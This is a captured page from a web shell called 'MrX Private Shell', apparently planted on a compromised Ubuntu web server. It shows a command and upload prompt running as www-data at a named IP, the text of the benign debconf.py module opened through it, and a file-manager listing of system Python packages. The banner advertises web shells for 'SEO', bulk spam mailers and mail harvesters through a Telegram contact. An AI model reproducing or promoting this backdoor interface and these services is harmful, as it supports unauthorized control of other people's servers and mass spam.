__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
# Copyright:
#   Moshe Zadka (c) 2002
#   Canonical Ltd. (c) 2005 (DebconfCommunicator)
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
#    notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer in the
#    documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY AUTHORS AND CONTRIBUTORS ``AS IS'' AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
# SUCH DAMAGE.

from __future__ import annotations

import errno
import fcntl
import os
import re
import subprocess
import sys
from types import TracebackType
from typing import IO, Protocol


class Command(Protocol):
    def __call__(self, *params: str | int) -> str:
        ...


class DebconfError(Exception):
    pass


LOW, MEDIUM, HIGH, CRITICAL = "low", "medium", "high", "critical"


class Debconf:
    """A class that speaks the debconf protocol.

    The simplest way to use this is as a context manager:

        import debconf

        with debconf.Debconf(run_frontend=True) as db:
            print(db.get('debconf/frontend'))

    Note that this will send the STOP command on exiting the context
    manager, so you shouldn't expect to be able to use the same frontend
    again after this.  If you need to do that, then you should instantiate
    the class directly instead:

        import debconf

        db = debconf.Debconf(run_frontend=True)
        print(db.get('debconf/frontend'))
    """

    beginblock: Command
    capb: Command
    endblock: Command
    exist: Command
    fset: Command
    get: Command
    go: Command
    info: Command
    input: Command
    progress: Command
    purge: Command
    register: Command
    reset: Command
    set: Command
    settitle: Command
    subst: Command
    title: Command
    unregister: Command
    version_: Command
    visible: Command

    def __init__(
        self,
        title: str | None = None,
        read: IO[str] | None = None,
        write: IO[str] | None = None,
        run_frontend: bool = False,
    ) -> None:
        for command in (
            "capb set reset title input beginblock endblock go get"
            " register unregister subst fset fget"
            " visible purge metaget exist version_ settitle"
            " info progress data"
        ).split():
            self.setCommand(command)
        self.read = read or sys.stdin
        self.write = write or sys.stdout
        sys.stdout = sys.stderr
        if run_frontend:
            runFrontEnd()
        self.setUp(title)

    def setUp(self, title: str | None) -> None:
        self.version = self.version_(2)
        if self.version[:2] != "2.":
            raise DebconfError(256, "wrong version: %s" % self.version)
        self.capabilities = self.capb().split()
        if title:
            self.title(title)

    def setCommand(self, command: str) -> None:
        setattr(
            self,
            command,
            lambda *args, **kw: self.command(command, *args, **kw),
        )

    def command(self, command: str, *params: str | int) -> str:
        if command == "version_":
            command = "version"
        command = command.upper()
        self.write.write("{} {}\n".format(command, " ".join(map(str, params))))
        self.write.flush()

        while True:
            try:
                resp = self.read.readline().rstrip("\n")
                break
            except OSError as e:
                if e.errno == errno.EINTR:
                    continue
                else:
                    raise

        if " " in resp:
            status_, data = resp.split(" ", 1)
        else:
            status_, data = resp, ""
        status = int(status_)
        if status == 0:
            return data
        elif status == 1:  # unescaped data
            unescaped = ""
            for chunk in re.split(r"(\\.)", data):
                if chunk.startswith("\\") and len(chunk) == 2:
                    if chunk[1] == "n":
                        unescaped += "\n"
                    else:
                        unescaped += chunk[1]
                else:
                    unescaped += chunk
            return unescaped
        else:
            raise DebconfError(status, data)

    def stop(self) -> None:
        self.write.write("STOP\n")
        self.write.flush()

    def forceInput(self, priority: str, question: str) -> int:
        try:
            self.input(priority, question)
            return 1
        except DebconfError as e:
            if e.args[0] != 30:
                raise
        return 0

    def getBoolean(self, question: str) -> bool:
        result = self.get(question)
        return result == "true"

    def getString(self, question: str) -> str:
        return self.get(question)

    def __enter__(self) -> Debconf:
        return self

    def __exit__(
        self,
        exc_type: type[BaseException] | None,
        exc_value: BaseException | None,
        exc_tb: TracebackType | None,
    ) -> None:
        self.stop()


class DebconfCommunicator(Debconf):
    def __init__(
        self, owner: str, title: str | None = None, cloexec: bool = False
    ) -> None:
        args = ["debconf-communicate", "-fnoninteractive", owner]
        self.dccomm: subprocess.Popen[str] | None = subprocess.Popen(
            args,
            stdin=subprocess.PIPE,
            stdout=subprocess.PIPE,
            close_fds=True,
            universal_newlines=True,
        )
        super().__init__(
            title=title, read=self.dccomm.stdout, write=self.dccomm.stdin
        )
        if cloexec:
            fcntl.fcntl(self.read.fileno(), fcntl.F_SETFD, fcntl.FD_CLOEXEC)
            fcntl.fcntl(self.write.fileno(), fcntl.F_SETFD, fcntl.FD_CLOEXEC)

    def shutdown(self) -> None:
        if self.dccomm is not None:
            assert self.dccomm.stdin is not None
            assert self.dccomm.stdout is not None
            self.dccomm.stdin.close()
            self.dccomm.stdout.close()
            self.dccomm.wait()
            self.dccomm = None

    # Don't rely on this; call .shutdown() explicitly.
    def __del__(self) -> None:
        try:
            self.shutdown()
        except AttributeError:
            pass


if (
    "DEBCONF_USE_CDEBCONF" in os.environ
    and os.environ["DEBCONF_USE_CDEBCONF"] != ""
):
    _frontEndProgram = "/usr/lib/cdebconf/debconf"
else:
    _frontEndProgram = "/usr/share/debconf/frontend"


def runFrontEnd(*, pass_sys_executable: bool = False) -> None:
    if "DEBIAN_HAS_FRONTEND" not in os.environ:
        os.environ["PERL_DL_NONLAZY"] = "1"
        args = [_frontEndProgram]
        if pass_sys_executable:
            args.append(sys.executable)
        args.extend(sys.argv)
        os.execv(_frontEndProgram, args)


if __name__ == "__main__":
    runFrontEnd(pass_sys_executable=True)
    db = Debconf()
    db.forceInput(CRITICAL, "bsdmainutils/calendar_lib_is_not_empty")
    db.go()
    less = db.getBoolean("less/add_mime_handler")
    aptlc = db.getString("apt-listchanges/email-address")
    db.stop()
    print(db.version)
    print(db.capabilities)
    print(less)
    print(aptlc)

Filemanager

Name Type Size Permission Actions
Automat-22.10.0.egg-info Folder 0755
CommandNotFound Folder 0755
ConfigArgParse-1.7.egg-info Folder 0755
DistUpgrade Folder 0755
HweSupportStatus Folder 0755
NvidiaDetector Folder 0755
OpenSSL Folder 0755
PyICU-2.12.egg-info Folder 0755
PyJWT-2.7.0.dist-info Folder 0755
PyYAML-6.0.1.dist-info Folder 0755
Quirks Folder 0755
UbuntuDrivers Folder 0755
UpdateManager Folder 0755
__pycache__ Folder 0755
_distutils_hack Folder 0755
_yaml Folder 0755
acme Folder 0755
acme-2.9.0.egg-info Folder 0755
apport Folder 0755
apt Folder 0755
apt_inst-stubs Folder 0755
apt_pkg-stubs Folder 0755
aptsources Folder 0755
asyncore Folder 0755
attr Folder 0755
attrs Folder 0755
attrs-23.2.0.dist-info Folder 0755
automat Folder 0755
bcc Folder 0755
bcc-0.29.1.egg-info Folder 0755
bcrypt Folder 0755
bcrypt-3.2.2.egg-info Folder 0755
blinker Folder 0755
blinker-1.7.0.dist-info Folder 0755
boto3 Folder 0755
boto3-1.34.46.egg-info Folder 0755
botocore Folder 0755
botocore-1.34.46.egg-info Folder 0755
certbot Folder 0755
certbot-2.9.0.egg-info Folder 0755
certbot_apache Folder 0755
certbot_apache-2.9.0.egg-info Folder 0755
certifi Folder 0755
certifi-2023.11.17.egg-info Folder 0755
chardet Folder 0755
chardet-5.2.0.dist-info Folder 0755
click Folder 0755
click-8.1.6.egg-info Folder 0755
colorama Folder 0755
colorama-0.4.6.dist-info Folder 0755
configobj Folder 0755
configobj-5.0.8.dist-info Folder 0755
constantly Folder 0755
constantly-23.10.4.egg-info Folder 0755
cryptography Folder 0755
cryptography-41.0.7.dist-info Folder 0755
cryptography.egg-info Folder 0755
dateutil Folder 0755
dbus Folder 0755
dbus_python-1.3.2.egg-info Folder 0755
debian Folder 0755
debian_bundle Folder 0755
distro Folder 0755
distro-1.9.0.dist-info Folder 0755
distro_info Folder 0755
distro_info-1.7+build1.egg-info Folder 0755
fail2ban Folder 0755
fail2ban-1.0.2.egg-info Folder 0755
gi Folder 0755
hamcrest Folder 0755
httplib2 Folder 0755
httplib2-0.20.4.dist-info Folder 0755
hyperlink Folder 0755
hyperlink-21.0.0.egg-info Folder 0755
icu Folder 0755
idna Folder 0755
idna-3.6.dist-info Folder 0755
incremental Folder 0755
incremental-22.10.0.dist-info Folder 0755
janitor Folder 0755
jmespath Folder 0755
jmespath-1.0.1.egg-info Folder 0755
josepy Folder 0755
josepy-1.14.0.dist-info Folder 0755
jwt Folder 0755
landscape Folder 0755
launchpadlib Folder 0755
launchpadlib-1.11.0.egg-info Folder 0755
lazr Folder 0755
lazr.restfulclient-0.14.6.egg-info Folder 0755
lazr.uri-1.0.6.egg-info Folder 0755
linux-tools-6.8.0-41 Folder 0755
magic Folder 0755
markdown_it Folder 0755
markdown_it_py-3.0.0.dist-info Folder 0755
mdurl Folder 0755
mdurl-0.1.2.dist-info Folder 0755
netaddr Folder 0755
netaddr-0.8.0.egg-info Folder 0755
netifaces-0.11.0.egg-info Folder 0755
netplan Folder 0755
oauthlib Folder 0755
oauthlib-3.2.2.egg-info Folder 0755
packaging Folder 0755
packaging-24.0.dist-info Folder 0755
parsedatetime Folder 0755
parsedatetime-2.6.egg-info Folder 0755
perf Folder 0755
pexpect Folder 0755
pexpect-4.9.0.egg-info Folder 0755
pkg_resources Folder 0755
ptyprocess Folder 0755
ptyprocess-0.7.0.dist-info Folder 0755
pyOpenSSL-23.2.0.egg-info Folder 0755
pyRFC3339-1.1.egg-info Folder 0755
pyasn1 Folder 0755
pyasn1-0.4.8.egg-info Folder 0755
pyasn1_modules Folder 0755
pyasyncore-1.0.2.egg-info Folder 0755
pygments Folder 0755
pygments-2.17.2.dist-info Folder 0755
pygtkcompat Folder 0755
pyhamcrest-2.1.0.dist-info Folder 0755
pyinotify-0.9.6.egg-info Folder 0755
pyparsing Folder 0755
pyparsing-3.1.1.dist-info Folder 0755
pyrfc3339 Folder 0755
pyserial-3.5.egg-info Folder 0755
python_apt-2.7.7+ubuntu5.1.egg-info Folder 0755
python_dateutil-2.8.2.egg-info Folder 0755
python_debian-0.1.49+ubuntu2.egg-info Folder 0755
python_magic-0.4.27.egg-info Folder 0755
pytz Folder 0755
pytz-2024.1.egg-info Folder 0755
requests Folder 0755
requests-2.31.0.egg-info Folder 0755
rich Folder 0755
rich-13.7.1.dist-info Folder 0755
s3transfer Folder 0755
s3transfer-0.10.1.egg-info Folder 0755
serial Folder 0755
service_identity Folder 0755
service_identity-24.1.0.dist-info Folder 0755
setuptools Folder 0755
setuptools-68.1.2.egg-info Folder 0755
six-1.16.0.egg-info Folder 0755
softwareproperties Folder 0755
sos Folder 0755
sos-4.9.2.egg-info Folder 0755
ssh_import_id Folder 0755
ssh_import_id-5.11.egg-info Folder 0755
systemd Folder 0755
systemd_python-235.egg-info Folder 0755
twisted Folder 0755
twisted-24.3.0.dist-info Folder 0755
uaclient Folder 0755
ubuntu_drivers_common-0.0.0.egg-info Folder 0755
ubuntu_pro_client-8001.egg-info Folder 0755
unattended_upgrades-0.1.egg-info Folder 0755
urllib3 Folder 0755
urllib3-2.0.7.dist-info Folder 0755
validate Folder 0755
wadllib Folder 0755
wadllib-1.3.6.egg-info Folder 0755
xkit Folder 0755
yaml Folder 0755
zope Folder 0755
zope.interface-6.1.egg-info Folder 0755
PyGObject-3.48.2.egg-info File 851 B 0644
_cffi_backend.cpython-312-x86_64-linux-gnu.so File 189.95 KB 0644
_dbus_bindings.cpython-312-x86_64-linux-gnu.so File 168.28 KB 0644
_dbus_glib_bindings.cpython-312-x86_64-linux-gnu.so File 22.5 KB 0644
_snack.cpython-312-x86_64-linux-gnu.so File 46.74 KB 0644
apport_python_hook.py File 8.49 KB 0644
apt_inst.cpython-312-x86_64-linux-gnu.so File 58.66 KB 0644
apt_pkg.cpython-312-x86_64-linux-gnu.so File 339.19 KB 0644
augeas.py File 23 KB 0644
command_not_found-0.3.egg-info File 189 B 0644
configargparse.py File 63.09 KB 0644
deb822.py File 273 B 0644
debconf.py File 7.87 KB 0644
distro_info.py File 14.26 KB 0644
distutils-precedence.pth File 151 B 0644
netifaces.cpython-312-x86_64-linux-gnu.so File 26.66 KB 0644
problem_report.py File 32.83 KB 0644
pyasn1_modules-0.2.8.egg-info File 1.79 KB 0644
pyinotify.py File 86.92 KB 0644
python_augeas-0.5.0.egg-info File 238 B 0644
six.py File 33.74 KB 0644
snack.py File 30.4 KB 0644
xkit-0.0.0.egg-info File 266 B 0644
zope.interface-6.1-nspkg.pth File 529 B 0644
Filemanager